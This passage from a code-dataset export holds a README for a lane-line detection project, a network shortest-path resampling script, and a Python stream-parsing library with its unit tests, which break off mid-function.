calibration matrix and distortion coefficients and returns a rectified image using the OpenCV's _undistort()_ method.\n\nA sample distorted calibration checkboard image and its distortion corrected image is as shown below\n\n| Distored image | Rectified image |\n|----------------|-----------------|\n|![distorted image](https://raw.githubusercontent.com/nitheeshkl/Udacity_CarND_AdvancedLaneLines/master/camera_cal/calibration1.jpg) | ![rectified image](https://raw.githubusercontent.com/nitheeshkl/Udacity_CarND_AdvancedLaneLines/master/camera_cal/calibration1_undistorted.jpg) |\n\nThe python notebook shows these corrections for all the checkboard images used.\n\n### Pipeline\n\n#### 1. Provide an example of a distortion-corrected image.\n\nThe same camera that we calibrated above is used for capturing the images from the car. Therefore, use the _undistort()_ method with calibration matrix and distrotion coefficients to rectify all the images from the video. The sample demo of a image from the project video and its rectified image is as shown below\n\n| Original image | Rectified image |\n|----------------|-----------------|\n|![distorted image](https://raw.githubusercontent.com/nitheeshkl/Udacity_CarND_AdvancedLaneLines/master/test_images/straight_lines1.jpg) | ![rectified image](https://raw.githubusercontent.com/nitheeshkl/Udacity_CarND_AdvancedLaneLines/master/test_images/straight_lines1_undistorted.jpg) |\n\n#### 2. Describe how (and identify where in your code) you used color transforms, gradients or other methods to create a thresholded binary image. Provide an example of a binary image result.\n\nThe below image shows a sample of all the color spaces that were explored to be considered for combining with sobel gradients.\n\n![color_spaces](https://raw.githubusercontent.com/nitheeshkl/Udacity_CarND_AdvancedLaneLines/master/doc/images/color_space_sample.png)\n\nclearly, the 'S' & 'B' channels from HLS & LAB color spaces accordingly stood out for the combination of white & yellow lane lines. These channels were thresholded to account for different lighting conditions as shown below.\n\n![sb_channel](https://raw.githubusercontent.com/nitheeshkl/Udacity_CarND_AdvancedLaneLines/master/doc/images/sb_channel.png)\n\nTo these thresholded s+b channels, I then applied sobel gradients to identify the lines. The result of multiple combinations of sobel gradients being applied to the s+b channel images is as shown beow.\n\n![sobel_gradients](https://raw.githubusercontent.com/nitheeshkl/Udacity_CarND_AdvancedLaneLines/master/doc/images/sobel_gradient.png)\n\nThe combination of sobel mag & dir seemed to produce the best results and were hence considered to be used for the processing pipeline.\n\nThe python notebook cells 5,6,8 shows these filtering applied to different test images.\n\n#### 3. Describe how (and identify where in your code) you performed a perspective transform and provide an example of a transformed image.\n\nThe _unwarp()_ method implemented in cell 7 in the python notebook perform the perspective transform. It takes in a image to be transformed along with source & destination points and returns a perspective transformed image. Internally, it uses the OpenCV methods '_getPerspective()_' and '_warpPerspective()_'.\n\nThe following source & destination co-ordinates were applied to all the images.\n\n| source | destination |\n|--------|-------------|\n| (550,464) | (450,0) |\n| (750,464) | (w-450,0) |\n| (250,682) | (450, h) |\n| (1110, 682) | (w-450,h) |\n\nBelow is the sample of an unwarped image.\n\n![unwarp_sample](https://raw.githubusercontent.com/nitheeshkl/Udacity_CarND_AdvancedLaneLines/master/doc/images/unwarp_sample.png)\n\nThe method _pipeline()_ in the python notebook implements all the above mentioned steps to create a processing pipeline for the images.\n\n#### 4. Describe how (and identify where in your code) you identified lane-line pixels and fit their positions with a polynomial?\n\nThe methods named '_sliding_window_polyfit()_' and '_polyfit_using_prev_fit()_' implemented in the python notebook performs the lane pixels detection and fitting a polynomial curve to them. The process is based on using the histogram of the perspective transformed binary image from the pipeline to identify the bottom most X postions of the left & right lanes. Then, the image is split into 10 equivalent windows and for each window, the lane pixels are identifed centered on the midpoint of the pixels from the window below. This follows the lane from the bottom to the top of the image. For the pixels identified by this process, the numpy method '_polyfit()_' is used to fit a second order polynomial to represent the lane curve.\n\nThe image below show the histogram from one of the sample test frames.\n\n![histogram_sample](https://raw.githubusercontent.com/nitheeshkl/Udacity_CarND_AdvancedLaneLines/master/doc/images/histogram_sample.png)\n\n The below image shows a sample of the result from the sliding window polyfit method.\n\n ![sliding_window_sample](https://raw.githubusercontent.com/nitheeshkl/Udacity_CarND_AdvancedLaneLines/master/doc/images/sliding_window_sample.png)\n\n The _polyfit_using_prev_fit()_ performs the same task as _sliding_window_polyfit()_, but only searches for lane pixels within a certain range of the fit from the previous frame.\n\n#### 5. Describe how (and identify where in your code) you calculated the radius of curvature of the lane and the position of the vehicle with respect to center.\n\nThe method '_calc_curvature_radius_and_center_distance()_' performs the calculation of the radius curvature and distance from the lane center as per the methods based on [this website](http://www.intmath.com/applications-differentiation/8-radius-curvature.php).\n\n```\ncurve_radius = ((1 + (2*fit[0]*y_0*y_meters_per_pixel + fit[1])**2)**1.5) / np.absolute(2*fit[0])\n```\nIn this example, `fit[0]` is the first coefficient (the y-squared coefficient) of the second order polynomial fit, and `fit[1]` is the second (y) coefficient. `y_0` is the y position within the image upon which the curvature calculation is based (the bottom-most y - the position of the car in the image - was chosen). `y_meters_per_pixel` is the factor used for converting from pixels to meters. This conversion was also used to generate a new fit with coefficients in terms of meters.\n\nThe position of the vehicle with respect to the center of the lane is calculated with the following lines of code:\n\n```\nlane_center_position = (r_fit_x_int + l_fit_x_int) /2\ncenter_dist = (car_position - lane_center_position) * x_meters_per_pix\n```\n\n`r_fit_x_int` and `l_fit_x_int` are the x-intercepts of the right and left fits, respectively. This requires evaluating the fit at the maximum y value (719, in this case - the bottom of the image) because the minimum y value is actually at the top (otherwise, the constant coefficient of each fit would have sufficed). The car position is the difference between these intercept points and the image midpoint (assuming that the camera is mounted at the center of the vehicle).\n\n#### 6. Provide an example image of your result plotted back down onto the road such that the lane area is identified clearly.\n\nThe methods _draw_lane()_ and _show_curve_data()_ draws the identifed lanes and the calculated curvature metrics on the original image. The lane is a polygon generated from the left & right fits, warped back onto the perspective of the original image using the inverse perspective matrix obtained from the _unwarp()_ method.\n\nHere is the sample of the result.\n\n![lane_overlay_sample](https://raw.githubusercontent.com/nitheeshkl/Udacity_CarND_AdvancedLaneLines/master/doc/images/lane_overlay_sample.png)\n\n---\n\n### Pipeline (video)\n\n#### 1. Provide a link to your final video output. Your pipeline should perform reasonably well on the entire project video (wobbly lines are ok but no catastrophic failures that would cause the car to drive off the road!).\n\nHere's a [link to my video result](./project_video_output.mp4) (project_video_ouput.mp4)\n\n---\n\n### Discussion\n\n#### 1. Briefly discuss any problems / issues you faced in your implementation of this project. Where will your pipeline likely fail? What could you do to make it more robust?\n\nThe different lighting condition and the combination of the road & lane colors presented the major problem. Although the S & B channels does a good job of isolating and filtering the lane lines, their effective results are based on having no obstruction on the road and the road having a similar surface through out. For example, in the challend video, the car's lan contains different shades of road which also show up as edges. Another scenario is when a bright/white car is moving is the adjacent lanes and is brighter than the lane colors. In such scenarios, the filtereing based on the color channels completely breaks down and I haven't yet found a better alternative.\n\nApart from this, I also faced difficulties & error while unwarping a section which had a vehicle/shadow in the region of interest. the inclusion of such vechicle/shadows also result in linear vertical lines and when these are found close of the lane lines, they cause ambiguity, especially in cases when lane colors are dull compared to these objects. I tried several values for thresholding, but none seemed to have good effect in such scenarios. When I tried the pipeline on road condition in India, the pipeline failed completely since the lane markes vary in size, colors and continuity.\n\nThe pipeline implemented here seems trivial and I hope to return to this problem and evaluate the current state-of-art on lane keeping/tracking.\n\n### Changes after review\n\n1. The readme file had wrongly linked the undistorted image link to the distorted image. This was corrected.\n2. src & dest poitns for the region of interest was changed based on the reviewer's suggestion. Along with corresponding modifications, this drastically improved the perforamce.\n3. The detected lane fit is now drawn on the undistorted image instead of the original distorted image.(I had previously misunderstood the rubric's requirement of 'original image' as the original distorted image from camera)\n4. In the result video, the lanes are drawn on the undistroted image\n" }, { "alpha_fraction": 0.739130437374115, "alphanum_fraction": 0.7577639818191528, "avg_line_length": 19.125, "blob_id": "0e5689ca2ad0b1d6ff0923853cb733bb637a5e7d", "content_id": "71c0f6c091d53e7fed09849f6db1edc86c922b27", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 161, "license_type": "permissive", "max_line_length": 39, "num_lines": 8, "path": "/test_images/tmp.py", "repo_name": "nitheeshkl/Udacity_CarND_AdvancedLaneLines", "src_encoding": "UTF-8", "text": "from matplotlib import pyplot as plt\nfrom matplotlib import image as mpimage\nimport cv2\n\nimg = cv2.imread('./test2.jpg')\nplt.figure()\nplt.imshow(img)\nplt.show()\n" } ]
2
saraelshawa/Network-Mutations
https://github.com/saraelshawa/Network-Mutations
2587c9a14a87cca85353ef49546d0f5326faf9be
9fe3ee99d1effdf3893543f1778037d93164a92a
91414042c9af3f848506e911a4af8fb5ece3e956
refs/heads/master
2022-04-29T19:58:26.871288
2022-04-03T16:36:26
2022-04-03T16:36:26
134,771,580
0
4
null
null
null
null
null
[ { "alpha_fraction": 0.5963715314865112, "alphanum_fraction": 0.6010319590568542, "avg_line_length": 32.1933708190918, "blob_id": "f1a3c3fff48b704ce0b2c7df9787d6c179192207", "content_id": "28bfdadcf17c8938f5fbec2ee0f09444bba2458b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6008, "license_type": "no_license", "max_line_length": 95, "num_lines": 181, "path": "/shortest_path_resamples.py", "repo_name": "saraelshawa/Network-Mutations", "src_encoding": "UTF-8", "text": "\"\"\"\nshortest_path_resamples.py - resample nodes and compute shortest paths\n\"\"\"\n\nimport random\nimport csv\nimport argparse\nimport networkx as nx\nfrom tqdm import tqdm\n\ndef args():\n parser = argparse.ArgumentParser(\n description='', \n usage='python shortest_path_resamples.py [options]')\n\n parser.add_argument('-f', '--fname', required=False,\n type=str, help='List of nodes to resample from [optional, default=full network]')\n parser.add_argument('-t', '--treatment', required=True,\n type=str, help='List of treatment nodes (for resample size)')\n parser.add_argument('-g', '--gml', required=True,\n type=str, help='Network in gml format')\n parser.add_argument('-r', '--replicates', required=True,\n type=int, help='Number of replicates')\n parser.add_argument('-o', '--out', required=True,\n type=str, help='File to write to')\n\n args = parser.parse_args()\n\n return args.fname, args.treatment, args.gml, args.replicates, args.out\n\n\ndef parse_gene_lists(fname, treatment, G):\n \"\"\"Get number of genes to draw\n Parameters\n ----------\n fname : str\n gene list to resample from [optional]\n treatment : str\n gene list used to determine m (# of nodes to resample)\n G : networkx.classes.graph.Graph\n network to sample from\n Returns\n -------\n list(treatment_genes) : list\n list of non-unique genes from treatment fname\n list(set(ma_genes)) : list\n list of unique genes to resample from\n \"\"\"\n \n with open(treatment, 'r') as f:\n treatment_genes = [line.rstrip('\\n') for line in f]\n \n # filter treatment genes\n treatment_genes = [\n gene for gene in treatment_genes\n if gene in G]\n\n # get genes to sample from if provided\n if fname:\n with open(fname, 'r') as f:\n ma_genes = [line.rstrip('\\n') for line in f]\n \n # filter ma genes\n ma_genes = [\n gene for gene in ma_genes\n if gene in G]\n elif not fname:\n ma_genes = list(G.nodes)\n\n print(f'[saltMA] resampling {len(treatment_genes)} nodes from {len(ma_genes)} total genes')\n\n return list(treatment_genes), list(set(ma_genes))\n\ndef resample_nodes(G, ma_genes, replicate_size, iteration):\n \"\"\"For a given iteration, resample nodes and get min path per node\n Parameters\n ----------\n G : networkx.classes.graph.Graph\n network to sample from\n ma_genes : str\n path to gene list to sample from\n replicate_size : int\n number of nodes to draw\n iteration : int\n iteration count\n Returns\n -------\n gene1 : str\n gene name\n sample_closest_gene : str\n a given gene whose shortest path w gene 1 == min gene1 shortest path\n min_shortest_path : int\n the min shortest path gene 1 has with any other resampled node\n sample_shortest_path : list\n the path to sample_closest_gene, provided for reference\n \"\"\"\n # sample nodes\n # subsampled_nodes = random.sample(ma_genes, replicate_size)\n subsampled_nodes = random.choices(ma_genes, k=replicate_size)\n\n # get shortest paths\n for i, gene1 in tqdm(enumerate(subsampled_nodes), desc='finding min shortest paths'):\n if subsampled_nodes.count(gene1) > 1:\n # shortest path will always be itself if node is 'mutated' multiple times\n shortest_path_dict = {gene1: [gene1]}\n elif subsampled_nodes.count(gene1) == 1:\n shortest_path_dict = {\n gene2: nx.shortest_path(G, gene1, gene2)\n for gene2 in subsampled_nodes if gene1 != gene2\n }\n else:\n raise Exception(\"this probably shouldn't happen\")\n shortest_path_values = [len(path) for path in shortest_path_dict.values()]\n min_shortest_path = min(shortest_path_values)\n\n # only keep min path\n for gene, shortest_path in shortest_path_dict.items():\n if len(shortest_path) == min_shortest_path:\n sample_closest_gene = gene\n sample_shortest_path = shortest_path\n\n yield gene1, sample_closest_gene, min_shortest_path, sample_shortest_path\n\n\ndef perform_draws(fname, treatment, gml, replicates, out):\n \"\"\"Draw m nodes from network n times and calculate min paths\n Parameters\n ----------\n fname : str\n gene list to resample from [optional]\n treatment : str\n gene list used to determine m (# of nodes to resample)\n gml : str\n path to network file (gml)\n replicates : int\n number of iterations n\n out : str\n file to write to\n Returns\n -------\n None\n \"\"\"\n\n print('[saltMA] loading in network')\n G = nx.read_gml(gml)\n\n print('[saltMA] parsing gene lists')\n if not fname:\n print('[saltMA] no gene list provided - resampling from full network')\n treatment_genes, ma_genes = parse_gene_lists(fname, treatment, G)\n replicate_size = len(treatment_genes)\n print(f'[saltMA] will be resampling {replicate_size} genes {replicates} times')\n\n with open(out, 'w') as f:\n fieldnames = [\n 'iteration', 'gene1', 'gene2', 'min_path', 'sample_path']\n writer = csv.DictWriter(f, delimiter='\\t', fieldnames=fieldnames)\n writer.writeheader()\n\n print('[saltMA] resampling...')\n for iteration in tqdm(range(replicates)):\n i = iteration + 1 # start counting at 1\n\n iterator = resample_nodes(G, ma_genes, replicate_size, i)\n for gene1, gene2, min_path, sample_path in iterator:\n out_dict = {\n 'iteration': i,\n 'gene1': gene1,\n 'gene2': gene2,\n 'min_path': min_path,\n 'sample_path': sample_path\n }\n writer.writerow(out_dict)\n\n \ndef main():\n fname, treatment, gml, replicates, out = args()\n perform_draws(*args())\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.8513513803482056, "alphanum_fraction": 0.8513513803482056, "avg_line_length": 36, "blob_id": "10c9016bcca2a5f31033ea4ea55221198e0b0043", "content_id": "bd4277c1f80fb6895631bd70b5ab49f272995abc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 74, "license_type": "no_license", "max_line_length": 53, "num_lines": 2, "path": "/README.md", "repo_name": "saraelshawa/Network-Mutations", "src_encoding": "UTF-8", "text": "# Network-Mutations\nAnalyzing clustering of mutations in genetic networks\n" } ]
2
gagabzh/matriochkas
https://github.com/gagabzh/matriochkas
0ba1c83867f2cba1f7221cf978c476004fd94241
02d37c9daedd069e7dce943316fb3a45398ae1c7
ed2b70cc60266219d9df3a0f02f43c4b4c3c1bec
refs/heads/master
2021-08-08T11:45:26.785766
2017-11-09T20:59:06
2017-11-09T20:59:06
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5895979404449463, "alphanum_fraction": 0.5919892191886902, "avg_line_length": 43.606666564941406, "blob_id": "2b9cd586b2ebc8141862b1a2725c0aa94eeb54ad", "content_id": "33b015d8ddbe35aa365dcacd393e688bf94c043f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6691, "license_type": "permissive", "max_line_length": 115, "num_lines": 150, "path": "/matriochkas/core/IO.py", "repo_name": "gagabzh/matriochkas", "src_encoding": "UTF-8", "text": "# coding: utf8\n\nfrom io import StringIO\nfrom collections import deque\nfrom matriochkas.core.ModificationEntities import ModificationSide\nfrom matriochkas.core.ParsingEntities import ParsingResult\nfrom matriochkas.core.Configuration import StreamClassConfiguration\n\nimport abc\nimport copy\n\n\nclass StreamEntity(metaclass=abc.ABCMeta):\n @abc.abstractmethod\n def __init__(self, args, kwargs, stream_class=None, read_method=None, write_method=None, return_method=None):\n self.streamClass = stream_class\n self.readMethod = read_method\n self.writeMethod = write_method\n self.returnMethod = return_method\n\n if isinstance(args, (list, tuple)):\n self.args = args\n else:\n raise TypeError('args has to be list or tuple object')\n\n if isinstance(kwargs, dict):\n self.kwargs = kwargs\n else:\n raise TypeError('args has to be dict object')\n\n @staticmethod\n def generate_method(stream_object, method_key):\n stream_class_name = type(stream_object).__name__\n for configuration in StreamClassConfiguration:\n if configuration.name == stream_class_name:\n if configuration.value[method_key] != 'None':\n return getattr(stream_object, configuration.value[method_key])\n else:\n return None\n return None\n\n\nclass StreamReader(StreamEntity):\n def __init__(self, *args, stream_class=StringIO, read_method=None, return_method=None, **kwargs):\n super(StreamReader, self).__init__(args, kwargs, stream_class=stream_class, read_method=read_method,\n return_method=return_method)\n\n def read(self, parsing_pipeline):\n parsing_pipeline.reset()\n min_position = parsing_pipeline.get_min_position()\n max_position = parsing_pipeline.get_max_position()\n length = max_position - min_position + 1\n stream = self.streamClass(*self.args, **self.kwargs)\n if self.readMethod is not None:\n read_method = getattr(stream, self.readMethod)\n else:\n read_method = StreamEntity.generate_method(stream, 'read_method')\n current_position = -min_position\n ar_index = list()\n element = deque(read_method(length))\n if len(element) == length:\n while True:\n result = parsing_pipeline.check(element, ref_position=-min_position)\n if result is not None and result[0]:\n ar_index.append((current_position, element[-min_position]))\n next_character = read_method(1)\n if next_character and result is not None:\n element.popleft()\n element.append(next_character)\n else:\n break\n current_position += 1\n\n stream.close()\n return ParsingResult(self.streamClass, self.readMethod, self.writeMethod, self.returnMethod, self.args,\n self.kwargs, ar_index)\n else:\n stream.close()\n raise ValueError(\"Not enough characters to parse : \" + str(len(element)))\n\n\nclass StreamWriter(StreamEntity):\n def __init__(self, *args, stream_class=StringIO, write_method=None, return_method=None, **kwargs):\n super(StreamWriter, self).__init__(args, kwargs, stream_class=stream_class, write_method=write_method,\n return_method=return_method)\n\n def write(self, parsing_result, stream_class=None, read_method=None, args=None, kwargs=None):\n input_parsing_result = copy.deepcopy(parsing_result)\n if stream_class is not None:\n input_parsing_result.streamClass = stream_class\n if read_method is not None:\n input_parsing_result.readMethod = read_method\n if args is not None:\n input_parsing_result.arInput['args'] = args\n if kwargs is not None:\n input_parsing_result.arInput['kwargs'] = kwargs\n\n input_stream = input_parsing_result.streamClass(*input_parsing_result.arInput['args'],\n **input_parsing_result.arInput['kwargs'])\n if input_parsing_result.readMethod is not None:\n input_read_method = getattr(input_stream, input_parsing_result.readMethod)\n else:\n input_read_method = StreamEntity.generate_method(input_stream, 'read_method')\n output_stream = self.streamClass(*self.args, **self.kwargs)\n if self.writeMethod is not None:\n output_write_method = getattr(output_stream, self.writeMethod)\n else:\n output_write_method = StreamEntity.generate_method(output_stream, 'write_method')\n if self.returnMethod is not None:\n output_return_method = getattr(output_stream, self.returnMethod)\n else:\n output_return_method = StreamEntity.generate_method(output_stream, 'return_method')\n\n index = 0\n input_parsing_result_index = 0\n character = input_read_method(1)\n while character:\n is_ended = False\n left_side = None\n right_side = None\n other = None\n while is_ended is False:\n if input_parsing_result_index < len(input_parsing_result.arIndex) \\\n and index == input_parsing_result.arIndex[input_parsing_result_index][0]:\n if len(input_parsing_result.arIndex[input_parsing_result_index]) == 3:\n if input_parsing_result.arIndex[input_parsing_result_index][2] == ModificationSide.LEFT:\n left_side = input_parsing_result.arIndex[input_parsing_result_index]\n else:\n right_side = input_parsing_result.arIndex[input_parsing_result_index]\n else:\n other = input_parsing_result.arIndex[input_parsing_result_index]\n input_parsing_result_index += 1\n else:\n if left_side is not None:\n output_write_method(left_side[1])\n if other is None:\n output_write_method(character)\n if right_side is not None:\n output_write_method(right_side[1])\n is_ended = True\n character = input_read_method(1)\n index += 1\n if output_return_method is None:\n return None\n else:\n result = output_return_method()\n\n input_stream.close()\n output_stream.close()\n return result\n" }, { "alpha_fraction": 0.515894889831543, "alphanum_fraction": 0.5276840925216675, "avg_line_length": 48.1137809753418, "blob_id": "55d0ae5d4fc5fd686f0cfe462003850a7c7d1bd3", "content_id": "7b4c76b7ad660514c5f41eebd4f564e7f40d7821", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 38849, "license_type": "permissive", "max_line_length": 120, "num_lines": 791, "path": "/matriochkas/tests/ParsingEntities.py", "repo_name": "gagabzh/matriochkas", "src_encoding": "UTF-8", "text": "# coding: utf8\n\nfrom matriochkas.core import ParsingEntities\n\nimport copy\n\n\n########################################################################################################################\n\nclass InstanceParsingEntity(ParsingEntities.ParsingEntity):\n def __init__(self, name, check_return=True, rel_position=0):\n super(InstanceParsingEntity, self).__init__()\n self.name = name\n self.checkReturn = check_return\n self.relPosition = rel_position\n\n def __eq__(self, other):\n try:\n if other.name == self.name and other.checkReturn == self.checkReturn:\n return True\n else:\n return False\n except AttributeError:\n return False\n\n def __contains__(self, item):\n return self.__eq__(item)\n\n def __str__(self):\n return ''\n\n def __repr__(self):\n return self.__str__()\n\n def __copy__(self):\n return InstanceParsingEntity(self.name, self.checkReturn)\n\n def __deepcopy__(self, memodict={}):\n return InstanceParsingEntity(self.name, self.checkReturn)\n\n def check(self, element, ref_position):\n return self.checkReturn\n\n def get_max_position(self):\n return self.relPosition\n\n def get_min_position(self):\n return self.relPosition\n\n########################################################################################################################\n\n\nclass InstanceParsingStructure(ParsingEntities.ParsingStructure):\n def __init__(self, name, rel_position=0):\n super(InstanceParsingStructure, self).__init__()\n self.name = name\n self.relPosition = rel_position\n\n def check(self, element, ref_position):\n return True, True\n\n def get_max_position(self):\n return self.relPosition\n\n def get_min_position(self):\n return self.relPosition\n\n########################################################################################################################\n\n\nclass MockStreamClass:\n pass\n\n########################################################################################################################\n\n\ndef test_operator_type():\n\n assert len(ParsingEntities.OperatorType) == 3\n\n assert ParsingEntities.OperatorType.AND.name == 'AND'\n assert ParsingEntities.OperatorType.AND.value == 'and'\n\n assert ParsingEntities.OperatorType.OR.name == 'OR'\n assert ParsingEntities.OperatorType.OR.value == 'or'\n\n assert ParsingEntities.OperatorType.XOR.name == 'XOR'\n assert ParsingEntities.OperatorType.XOR.value == 'xor'\n\n\ndef test_entity():\n class InstanceEntity(ParsingEntities.Entity):\n def check(self, element, ref_position):\n return True\n\n def get_max_position(self):\n return True\n\n def get_min_position(self):\n return True\n\n ###################################################################################################################\n\n entity = InstanceEntity()\n\n assert entity.check(None, None) is True\n assert entity.get_max_position() is True\n assert entity.get_min_position() is True\n\n\ndef test_parsing_entity():\n parsing_entity = InstanceParsingEntity('test')\n\n assert parsing_entity.isNot is False\n assert (parsing_entity == InstanceParsingEntity('non test')) is False\n assert (parsing_entity == InstanceParsingEntity('test')) is True\n assert (parsing_entity != InstanceParsingEntity('non test')) is True\n assert (parsing_entity != InstanceParsingEntity('test')) is False\n assert (InstanceParsingEntity('test') in parsing_entity) is True\n assert (InstanceParsingEntity('test false') in parsing_entity) is False\n assert str(parsing_entity) is ''\n assert repr(parsing_entity) is ''\n assert isinstance(copy.copy(parsing_entity), InstanceParsingEntity) is True\n assert isinstance(copy.deepcopy(parsing_entity), InstanceParsingEntity) is True\n assert parsing_entity.get_max_position() == 0\n assert parsing_entity.get_min_position() == 0\n\n ###################################################################################################################\n\n and_parsing_entity = parsing_entity & InstanceParsingEntity('test')\n\n assert isinstance(and_parsing_entity, ParsingEntities.ParsingOperator) is True\n assert isinstance(and_parsing_entity.operandA, InstanceParsingEntity) is True\n assert isinstance(and_parsing_entity.operandB, InstanceParsingEntity) is True\n assert and_parsing_entity.isNot is False\n assert and_parsing_entity.operatorType is ParsingEntities.OperatorType.AND\n\n try:\n parsing_entity & None\n assert False\n except TypeError:\n assert True\n\n ###################################################################################################################\n\n or_parsing_entity = parsing_entity | InstanceParsingEntity('test')\n\n assert isinstance(or_parsing_entity, ParsingEntities.ParsingOperator) is True\n assert isinstance(or_parsing_entity.operandA, InstanceParsingEntity) is True\n assert isinstance(or_parsing_entity.operandB, InstanceParsingEntity) is True\n assert or_parsing_entity.isNot is False\n assert or_parsing_entity.operatorType is ParsingEntities.OperatorType.OR\n\n try:\n parsing_entity | None\n assert False\n except TypeError:\n assert True\n\n ###################################################################################################################\n\n xor_parsing_entity = parsing_entity ^ InstanceParsingEntity('test')\n\n assert isinstance(xor_parsing_entity, ParsingEntities.ParsingOperator) is True\n assert isinstance(xor_parsing_entity.operandA, InstanceParsingEntity) is True\n assert isinstance(xor_parsing_entity.operandB, InstanceParsingEntity) is True\n assert xor_parsing_entity.isNot is False\n assert xor_parsing_entity.operatorType is ParsingEntities.OperatorType.XOR\n\n try:\n parsing_entity ^ None\n assert False\n except TypeError:\n assert True\n\n ###################################################################################################################\n\n rshift_parsing_block = parsing_entity >> InstanceParsingEntity('test')\n\n assert isinstance(rshift_parsing_block, ParsingEntities.ParsingBlock) is True\n assert isinstance(rshift_parsing_block.parser, InstanceParsingEntity) is True\n assert isinstance(rshift_parsing_block.borderCondition, InstanceParsingEntity) is True\n\n rshift_parsing_block_2 = parsing_entity >> None\n\n assert isinstance(rshift_parsing_block_2, ParsingEntities.ParsingBlock) is True\n assert isinstance(rshift_parsing_block_2.parser, InstanceParsingEntity) is True\n assert rshift_parsing_block_2.borderCondition is None\n\n try:\n None >> None\n assert False\n except TypeError:\n assert True\n\n ###################################################################################################################\n\n invert_parsing_entity = ~parsing_entity\n\n assert isinstance(invert_parsing_entity, ParsingEntities.ParsingEntity) is True\n assert invert_parsing_entity.isNot is True\n\n\ndef test_parsing_operator():\n and_parsing_operator = ParsingEntities.ParsingOperator(ParsingEntities.OperatorType.AND,\n InstanceParsingEntity('entity 1'),\n InstanceParsingEntity('entity 2'))\n\n assert and_parsing_operator.operatorType is ParsingEntities.OperatorType.AND\n assert isinstance(and_parsing_operator.operandA, InstanceParsingEntity)\n assert and_parsing_operator.operandA.name == 'entity 1'\n assert isinstance(and_parsing_operator.operandB, InstanceParsingEntity)\n assert and_parsing_operator.operandB.name == 'entity 2'\n\n ###################################################################################################################\n\n or_parsing_operator = ParsingEntities.ParsingOperator(ParsingEntities.OperatorType.OR,\n InstanceParsingEntity('entity 3'),\n InstanceParsingEntity('entity 4'))\n\n assert or_parsing_operator.operatorType is ParsingEntities.OperatorType.OR\n assert isinstance(or_parsing_operator.operandA, InstanceParsingEntity)\n assert or_parsing_operator.operandA.name == 'entity 3'\n assert isinstance(or_parsing_operator.operandB, InstanceParsingEntity)\n assert or_parsing_operator.operandB.name == 'entity 4'\n\n ###################################################################################################################\n\n xor_parsing_operator = ParsingEntities.ParsingOperator(ParsingEntities.OperatorType.XOR,\n InstanceParsingEntity('entity 5'),\n InstanceParsingEntity('entity 6'))\n\n assert xor_parsing_operator.operatorType is ParsingEntities.OperatorType.XOR\n assert isinstance(xor_parsing_operator.operandA, InstanceParsingEntity)\n assert xor_parsing_operator.operandA.name == 'entity 5'\n assert isinstance(xor_parsing_operator.operandB, InstanceParsingEntity)\n assert xor_parsing_operator.operandB.name == 'entity 6'\n\n ###################################################################################################################\n\n try:\n ParsingEntities.ParsingOperator(None, InstanceParsingEntity('entity 7'),\n InstanceParsingEntity('entity 8'))\n assert False\n except TypeError:\n assert True\n\n ###################################################################################################################\n\n try:\n ParsingEntities.ParsingOperator(ParsingEntities.OperatorType.XOR, None,\n InstanceParsingEntity('entity 7'))\n assert False\n except TypeError:\n assert True\n\n ###################################################################################################################\n\n try:\n ParsingEntities.ParsingOperator(ParsingEntities.OperatorType.XOR, InstanceParsingEntity('entity 8'), None)\n assert False\n except TypeError:\n assert True\n\n ###################################################################################################################\n\n parsing_operator = ParsingEntities.ParsingOperator(ParsingEntities.OperatorType.AND,\n InstanceParsingEntity('entity a', True, 1),\n InstanceParsingEntity('entity b', False, 2))\n\n assert (parsing_operator == ParsingEntities.ParsingOperator(ParsingEntities.OperatorType.AND,\n InstanceParsingEntity('entity a'),\n InstanceParsingEntity('entity b', False))) is True\n assert (parsing_operator == ParsingEntities.ParsingOperator(ParsingEntities.OperatorType.OR,\n InstanceParsingEntity('entity a'),\n InstanceParsingEntity('entity b', False))) is False\n assert (parsing_operator == ParsingEntities.ParsingOperator(ParsingEntities.OperatorType.AND,\n InstanceParsingEntity('entity c'),\n InstanceParsingEntity('entity b', False))) is False\n assert (parsing_operator == ParsingEntities.ParsingOperator(ParsingEntities.OperatorType.OR,\n InstanceParsingEntity('entity a'),\n InstanceParsingEntity('entity c', False))) is False\n\n assert (parsing_operator == 0) is False\n\n ###################################################################################################################\n\n super_parsing_operator = parsing_operator & InstanceParsingEntity('entity c', True, -1)\n\n assert isinstance(super_parsing_operator, ParsingEntities.ParsingOperator) is True\n assert (InstanceParsingEntity('entity a') in super_parsing_operator) is True\n assert (InstanceParsingEntity('entity b', False) in super_parsing_operator) is True\n assert (InstanceParsingEntity('entity c') in super_parsing_operator) is True\n assert (InstanceParsingEntity('entity d') in super_parsing_operator) is False\n assert (ParsingEntities.ParsingOperator(ParsingEntities.OperatorType.OR, InstanceParsingEntity('entity a'),\n InstanceParsingEntity('entity b')) in super_parsing_operator) is False\n assert (ParsingEntities.ParsingOperator(ParsingEntities.OperatorType.AND, InstanceParsingEntity('entity a'),\n InstanceParsingEntity('entity b', False)) in super_parsing_operator) is True\n\n ###################################################################################################################\n\n assert (str(parsing_operator) == 'ParsingOperator object') is True\n\n ###################################################################################################################\n\n assert (repr(parsing_operator) == 'ParsingOperator object') is True\n\n ###################################################################################################################\n\n super_parsing_operator.operandB.name = 'entity c'\n copy_super_parsing_operator = copy.copy(super_parsing_operator)\n assert isinstance(copy_super_parsing_operator, ParsingEntities.ParsingOperator)\n assert (copy_super_parsing_operator.operandB.name == 'entity c') is True\n super_parsing_operator.operandB.name = 'entity d'\n assert (copy_super_parsing_operator.operandB.name == 'entity c') is False\n assert (copy_super_parsing_operator.operandB.name == 'entity d') is True\n\n ###################################################################################################################\n\n super_parsing_operator.operandB.name = 'entity c'\n deep_copy_super_parsing_operator = copy.deepcopy(super_parsing_operator)\n assert isinstance(deep_copy_super_parsing_operator, ParsingEntities.ParsingOperator)\n assert (deep_copy_super_parsing_operator.operandB.name == 'entity c') is True\n super_parsing_operator.operandB.name = 'entity d'\n assert (deep_copy_super_parsing_operator.operandB.name == 'entity d') is False\n assert (deep_copy_super_parsing_operator.operandB.name == 'entity 